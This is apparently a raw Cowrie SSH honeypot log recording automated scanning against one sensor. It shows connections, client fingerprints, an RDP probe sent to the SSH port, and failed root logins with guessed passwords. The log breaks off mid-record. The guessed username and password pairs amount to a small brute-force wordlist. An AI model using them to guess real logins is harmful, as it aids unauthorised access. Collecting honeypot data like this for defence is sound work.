{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:01.650881Z","src_ip":"103.183.114.55","session":"14000d85af9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton123","message":"login attempt [root/anton123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:02.312503Z","src_ip":"103.183.114.55","session":"14000d85af9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:03.535116Z","src_ip":"103.183.114.55","session":"14000d85af9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":39839,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ac441bce49","protocol":"ssh","message":"New connection: 79.127.181.44:39839 (159.203.135.109:22) [session: b4ac441bce49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:23.287976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:23.496542Z","src_ip":"79.127.181.44","session":"b4ac441bce49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:23.699008Z","src_ip":"79.127.181.44","session":"b4ac441bce49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:23.704705Z","src_ip":"79.127.181.44","session":"b4ac441bce49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":44524,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ea9d02ef3a","protocol":"ssh","message":"New connection: 103.98.149.87:44524 (10.17.0.5:22) [session: 57ea9d02ef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:31.083308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:31.093482Z","src_ip":"103.98.149.87","session":"57ea9d02ef3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:31.318655Z","src_ip":"103.98.149.87","session":"57ea9d02ef3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":50350,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c82bffbf31","protocol":"ssh","message":"New connection: 103.75.182.198:50350 (159.203.135.109:22) [session: 43c82bffbf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:31.507402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:31.512534Z","src_ip":"103.75.182.198","session":"43c82bffbf31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:31.760355Z","src_ip":"103.75.182.198","session":"43c82bffbf31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":33952,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d198c0dd29","protocol":"ssh","message":"New connection: 103.77.242.62:33952 (10.17.0.5:22) [session: 29d198c0dd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:32.252740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:32.259108Z","src_ip":"103.77.242.62","session":"29d198c0dd29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:32.504534Z","src_ip":"103.77.242.62","session":"29d198c0dd29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx111","message":"login attempt [root/xxx111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:32.516272Z","src_ip":"103.75.182.198","session":"43c82bffbf31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:32.697827Z","src_ip":"103.98.149.87","session":"57ea9d02ef3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pazzword123","message":"login attempt [root/pazzword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:33.249412Z","src_ip":"103.77.242.62","session":"29d198c0dd29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:33.768862Z","src_ip":"103.75.182.198","session":"43c82bffbf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:33.944881Z","src_ip":"103.98.149.87","session":"57ea9d02ef3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:34.495630Z","src_ip":"103.77.242.62","session":"29d198c0dd29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":54574,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bd240c31eb","protocol":"ssh","message":"New connection: 193.228.128.84:54574 (10.17.0.5:22) [session: 28bd240c31eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:34.868802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:34.873885Z","src_ip":"193.228.128.84","session":"28bd240c31eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:34.977281Z","src_ip":"193.228.128.84","session":"28bd240c31eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"student","message":"login attempt [root/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:35.284937Z","src_ip":"193.228.128.84","session":"28bd240c31eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:36.390800Z","src_ip":"193.228.128.84","session":"28bd240c31eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48090,"dst_ip":"10.17.0.5","dst_port":22,"session":"6177ac26ed9a","protocol":"ssh","message":"New connection: 103.15.222.183:48090 (10.17.0.5:22) [session: 6177ac26ed9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:25.128695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:25.137621Z","src_ip":"103.15.222.183","session":"6177ac26ed9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:25.376665Z","src_ip":"103.15.222.183","session":"6177ac26ed9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555555a","message":"login attempt [root/555555a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:26.092819Z","src_ip":"103.15.222.183","session":"6177ac26ed9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:27.335483Z","src_ip":"103.15.222.183","session":"6177ac26ed9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63493,"dst_ip":"159.203.135.109","dst_port":22,"session":"71955aa304b5","protocol":"ssh","message":"New connection: 152.42.212.128:63493 (159.203.135.109:22) [session: 71955aa304b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:30.714887Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:30.719736Z","src_ip":"152.42.212.128","session":"71955aa304b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:30.724178Z","src_ip":"152.42.212.128","session":"71955aa304b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57746,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac97bf1fd627","protocol":"ssh","message":"New connection: 80.94.92.184:57746 (10.17.0.5:22) [session: ac97bf1fd627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:32.505296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:32.696820Z","src_ip":"80.94.92.184","session":"ac97bf1fd627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:32.701296Z","src_ip":"80.94.92.184","session":"ac97bf1fd627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:33.908034Z","src_ip":"80.94.92.184","session":"ac97bf1fd627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:35.301251Z","src_ip":"80.94.92.184","session":"ac97bf1fd627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37688,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d622ab2b056","protocol":"ssh","message":"New connection: 176.65.148.108:37688 (159.203.135.109:22) [session: 9d622ab2b056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:47.656252Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:47.739948Z","src_ip":"176.65.148.108","session":"9d622ab2b056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37700,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a79ebd7fb88","protocol":"ssh","message":"New connection: 176.65.148.108:37700 (159.203.135.109:22) [session: 6a79ebd7fb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:47.818538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:47.823825Z","src_ip":"176.65.148.108","session":"6a79ebd7fb88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sh